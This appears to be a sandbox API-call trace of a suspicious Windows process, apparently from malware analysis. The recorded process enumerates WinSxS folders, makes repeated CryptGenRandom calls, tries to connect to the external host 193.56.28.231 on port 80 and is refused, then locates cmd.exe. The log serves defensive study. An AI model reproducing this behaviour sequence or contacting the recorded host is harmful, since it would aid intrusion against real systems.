	[0108.673] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69006c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa69006c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa69006c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.673] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.673] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf01725, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbf01725, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbf01725, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.674] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.674] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69006c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa69006c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa69006c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.674] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acluifilefoldercomtool_31bf3856ad364e35_6.1.7600.16385_none_b444164f1eecd3f2" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acluifilefoldercomtool_31bf3856ad364e35_6.1.7600.16385_none_b444164f1eecd3f2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.674] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acluifilefoldercomtool_31bf3856ad364e35_6.1.7600.16385_none_b444164f1eecd3f2\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69006c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa69006c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa69006c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.675] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acluifilefoldertool_31bf3856ad364e35_6.1.7600.16385_none_49b88f2dc8d56917" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acluifilefoldertool_31bf3856ad364e35_6.1.7600.16385_none_49b88f2dc8d56917"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.675] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acluifilefoldertool_31bf3856ad364e35_6.1.7600.16385_none_49b88f2dc8d56917\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69006c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa6b61c6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa6b61c6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.675] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acproxy.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d3779478057f3fce" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acproxy.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d3779478057f3fce"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.676] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acproxy.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d3779478057f3fce\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed87ba, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8ed87ba, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ed87ba, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.676] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.676] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b61c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa6b61c6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa6b61c6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.677] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.677] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83f85818, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83f85818, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83f85818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.677] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-adaptertroubleshooter_31bf3856ad364e35_6.1.7600.16385_none_2df6395b9cf7e9a5" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-adaptertroubleshooter_31bf3856ad364e35_6.1.7600.16385_none_2df6395b9cf7e9a5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.677] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-adaptertroubleshooter_31bf3856ad364e35_6.1.7600.16385_none_2df6395b9cf7e9a5\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b61c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa6b61c6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa6b61c6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0118.947] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.948] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.949] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.950] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.950] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.951] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.952] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.952] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.953] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c01c0 | out: pbBuffer=0x123c01c0) returned 1
	[0118.966] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.967] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.967] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.968] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.969] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.969] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.970] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.970] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.971] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.972] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.972] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.973] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.973] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.974] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.975] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.975] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.976] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.976] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.977] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.978] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.978] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.979] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.979] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.980] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.981] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.981] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.982] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.982] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.983] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.984] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.984] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.985] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.985] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.986] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.987] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.987] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.988] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.988] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.989] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.990] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.990] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.991] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.992] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.992] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.993] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.993] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.994] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.995] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.995] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.996] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.996] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.997] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.998] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.998] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.999] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0118.999] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.000] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.002] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.004] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.004] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.005] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.006] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.006] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.007] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.008] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.008] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.009] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.009] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x123c0980 | out: pbBuffer=0x123c0980) returned 1
	[0119.024] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1238d860*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x1278d9d4, lpReserved=0x0 | out: lpBuffer=0x1238d860*, lpNumberOfCharsWritten=0x1278d9d4*=0x10) returned 1
	[0119.032] LoadLibraryW (lpLibFileName="ws2_32.dll") returned 0x75bc0000
	[0119.032] GetProcAddress (hModule=0x75bc0000, lpProcName="WSASocketW") returned 0x75bc3cd3
	[0119.032] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0xc8
	[0119.221] SetEvent (hEvent=0xa8) returned 1
	[0119.221] GetProcAddress (hModule=0x75bc0000, lpProcName="setsockopt") returned 0x75bc41b6
	[0119.221] setsockopt (s=0xc8, level=65535, optname=32, optval="\x01", optlen=4) returned -1
	[0119.221] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0xac
	[0119.222] CreateIoCompletionPort (FileHandle=0xc8, ExistingCompletionPort=0xac, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0xac
	[0119.222] SetFileCompletionNotificationModes (FileHandle=0xc8, Flags=0x3) returned 1
	[0119.222] GetProcAddress (hModule=0x75bc0000, lpProcName="bind") returned 0x75bc4582
	[0119.222] bind (s=0xc8, addr=0x1238d8c8*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0119.223] SetEvent (hEvent=0xb4) returned 1
	[0119.223] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8
	[0119.223] socket (af=2, type=1, protocol=6) returned 0xb8
	[0119.223] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAIoctl") returned 0x75bc2fe7
	[0119.223] WSAIoctl (in: s=0xb8, dwIoControlCode=0xc8000006, lpvInBuffer=0x5dd5a0, cbInBuffer=0x10, lpvOutBuffer=0x5f43ec, cbOutBuffer=0x4, lpcbBytesReturned=0x1278d8ac, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x5f43ec, lpcbBytesReturned=0x1278d8ac, lpOverlapped=0x0) returned 0
	[0119.223] CloseHandle (hObject=0xb8) returned 1
	[0119.223] ConnectEx (in: s=0xc8, name=0x1238d8a8*(sa_family=2, sin_port=0x50, sin_addr="193.56.28.231"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0x125fc088 | out: lpdwBytesSent=0x0) returned 0
	[0119.225] GetQueuedCompletionStatusEx (in: CompletionPort=0xac, lpCompletionPortEntries=0x3248fad8, ulCount=0x10, ulNumEntriesRemoved=0x3248fab8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x3248fad8, ulNumEntriesRemoved=0x3248fab8) returned 0
	[0119.225] GetQueuedCompletionStatusEx (in: CompletionPort=0xac, lpCompletionPortEntries=0x3248fad8, ulCount=0x10, ulNumEntriesRemoved=0x3248fab8, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x3248fad8, ulNumEntriesRemoved=0x3248fab8) returned 1
	[0120.448] WSAGetOverlappedResult (in: s=0xc8, lpOverlapped=0x125fc088, lpcbTransfer=0x3248fab4, fWait=0, lpdwFlags=0x3248fac8 | out: lpcbTransfer=0x3248fab4, lpdwFlags=0x3248fac8) returned 0
	[0120.448] SetEvent (hEvent=0xb4) returned 1
	[0120.448] SetEvent (hEvent=0xa8) returned 1
	[0120.448] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918
	[0120.448] closesocket (s=0xc8) returned 0
	[0120.449] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620
	[0120.449] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x409, lpBuffer=0x1278dbc4, nSize=0x12c, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
	[0120.451] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1246c000*, nNumberOfCharsToWrite=0x80, lpNumberOfCharsWritten=0x1278d960, lpReserved=0x0 | out: lpBuffer=0x1246c000*, lpNumberOfCharsWritten=0x1278d960*=0x80) returned 1
	[0120.456] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12750680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0120.456] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0120.456] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x1278dd30 | out: lpMode=0x1278dd30) returned 0
	[0120.458] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0120.458] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x1278dd34 | out: lpMode=0x1278dd34) returned 0
	[0120.458] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd0
	[0120.458] GetConsoleMode (in: hConsoleHandle=0xd0, lpMode=0x1278dd34 | out: lpMode=0x1278dd34) returned 0
	[0120.459] GetEnvironmentStringsW () returned 0x811e70*
	[0120.459] FreeEnvironmentStringsW (penv=0x811e70) returned 1
	[0120.459] GetCurrentProcess () returned 0xffffffff
